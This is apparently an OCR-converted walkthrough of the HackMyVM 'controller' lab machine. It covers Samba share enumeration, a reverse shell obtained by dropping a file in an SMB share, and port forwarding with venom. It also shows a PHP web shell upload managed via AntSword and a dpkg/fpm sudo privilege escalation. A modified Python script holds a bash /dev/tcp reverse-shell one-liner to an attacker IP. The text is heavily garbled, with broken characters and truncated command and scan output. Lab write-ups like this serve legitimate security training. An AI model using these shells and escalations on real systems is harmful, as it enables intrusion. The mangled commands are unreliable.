hackmyvm: controller walkthrough
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1. get first reverse shell

Nmap scan rep
Host is up (
Not shown: 65
PORT STATE
tcp open
tcp open
tcp open
! open
open

open
open
open kpasswd5
open ldapssl
open
open

open
open
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A domain controller (DC)is a server computer that responds to security authentication requests within a computer network domain. It is
a network server that is responsible for allowing host access to domain resources. It authenticates users stores user account information and

enforces security policy for a domain. It is most commonly implemented in Microsoft Windows envi ents (see Domain controller (Windows)),
where it is the centerpiece of the Windows Active Directory service.... Seguir leyendo CONTROLLER
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1S a server computer that responds to security authentication reques In a computer networ
a network server that is responsible for allowing host access to domain resources. It authenticates users, stores user account information and
enforces security policy for a domain. It is most commonly implemented in Microsoft Windows environments (see Domain controller (Windows)),
where it is the centerpiece of the Windows Active Directory service. However, non-Windows domain controllers can be established via identity
management software such as Samba and Red HatFreelPA.

From controller we want to announce that our services are going to change to the python 3 programming language which stands out mainly for its
portability. Due to the termination of python 2, there are still tools that use this language but we still offer support for it. If you want to support our
projects or help to improve them you can upload them and our experts will test your utilities for you.

hint
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use enum4linux to get samba shares, the we get the directory tester which we can visit without user and passwd.

tion on 192.168.

Type Comment

sysvol Disk
netlogon Disk
tester Disk
IPCY IPC C Service (Samba 4.11.6-Ubuntu)

follow the hint, we put the text.txt using smbclient inthis share, waita moment, we get first reverse shell.

test.txt

commands

.getoutput(

connect to [192.1¢ - 'G] +10m (UNK
bash: cannot set terminal process group
bash: no job control in this shell

2. get root
check process list, we can see the user webservies run php localhost.

ps aux|grep webserwv
webservs+ 1841 9.0 ©.2 225840 193 7 L 0 @:00 php -5 127.0.0.1:8080 -t /srv/ww/php/

webservs+ 1852 9.9 9.0 @ ? @9:25 @: [php] <defunct>



we use the tool venom to forward localhost port 8080 to attack machine port 8888.

JSadmin_linux

(admin no
+]Remot
+]A
(admin no
ode 1
(node 1)

information.
Exit.
Display network topology.
View description of the tar
[info] Add a description to the t
[id] Select id as the
[lport] Listen on a port
[ t] [rport] Connect to a new node through the target node.
[user@ip:port] [dport] ( to a new node through ssh tunnel.
Start an interactive shell on the target node.
Upload files to the ta node.
downloa remote_file] [local_file Download files from e target node.
lport] . a socks5 ser
lhost] [sport] [dport] rd a lo t to a remote dport.
rhost] [sport] [dport] Forward a remote sport to a local dport.
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upload a word shell by upload.php .

a ) Mozilla Firefox
127.0.0.1:8888/upload.php X +
< C @ © 127.0.0.1
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File: Browse... Mo file selected.

Upload

p= P [Fp—
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] AntSword
AntSword Edit Window Debug
J =2 [3127.0.0.1 »
(3 Folders (0) ¢ | [Files (2) A
= QONew ~ #UP Z Refresh # Home M Bookmark - fsrviwww/phpiuploads/ = Read
= srv
Name Time Size Atir
=P www
r php phpreverseshell.php 2021-10-13 09:21:25 3.38 Kb 0664
| upioads test.php 2021-10-13 10:43:14 3hb 0664
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because of the disable_functions , you can not use terminal directly. you can use php7_userfilter to bypass. Butin there, you
do not need to do this.

*» PHP7.4.3 - phpinfo() - Mozilla Firefox

PHP 7.4.3 - phpinfo()
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Directive Local Value Master Value
allow_url_include off Off
arg_separator.input & &
arg_separator.output & &
auto_append _file
auto_globals_jit on on
auto_prepend file
browscap
default_charset UTF-8 UTF-8
default_ mimetype text/html text/html
disable_classes
disable functions exec,passthru,shell_exec,system,proc_open,pope| | exec,passthru,shell_exec,system,proc_open,pope
n.curl_exec,curl_multi_exec,parse_ini_file,show_s | | n,curl_exec,curl_multi_exec,parse_ini_file,show_s
ource ource
display_errors off Off
display_startup_errors off off
doc_root
docref_ext

docref_root
enable_dl off off

enable_post_data reading On on CSON @xdeclearn

check the file which own to user webservices .

find / —user wehsaryices 2 ev/null |=E11.gp -V ,"pr.:)c

.bashrc
.bash_legout
.local
.local/share
.profile
.selected_editor
.viminfo
.bash_history
user.txt

/home
/ho :
Jhome /we
Jhome /we
Jhome /we
Shome/
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Jtmp/g
/var/crash/_usr_bin_php7.4.1002.crash
Svar/mail/webservices

Jsrv/ v /php

Jsrv/ww/php/uploads

Jsrv/wa /php/uploads/test.php
Jsrv/w/php/uploads/phpreverseshell.php
Jsrv/ww/php/upload.php

Jdev/pts/1

we find the /opt/logs/log.txt willbe changed by /opt/website.py atintervals. so we change the file to reverse a new shell.

« = [9127.0.0.1 [ website.py

1P:127.0.0.1 File: || /opt/website.py 2 Refresh i Mode + ™ Open with Encoding Sa

import socket
import sys
import os

os.system('/bin/bash -c "/bin/bash -1 >& /dev/tcp/192.168.85.129/5555 @>&1"")
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then, we get the new user shell.

Jadmin_linux_x64 -lport 4343 x rlwrap nc -lvp 5555

cannot set terminal process group
job cont in this shell
jcontroll

check sudo -1,we find the dpkg -i['. make a particular deb by using fpm , we get the root.

TF=$(mktemp -d)
$TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF

3. references

1. https://gtfobins.github.io/gtfobins/dpkg/
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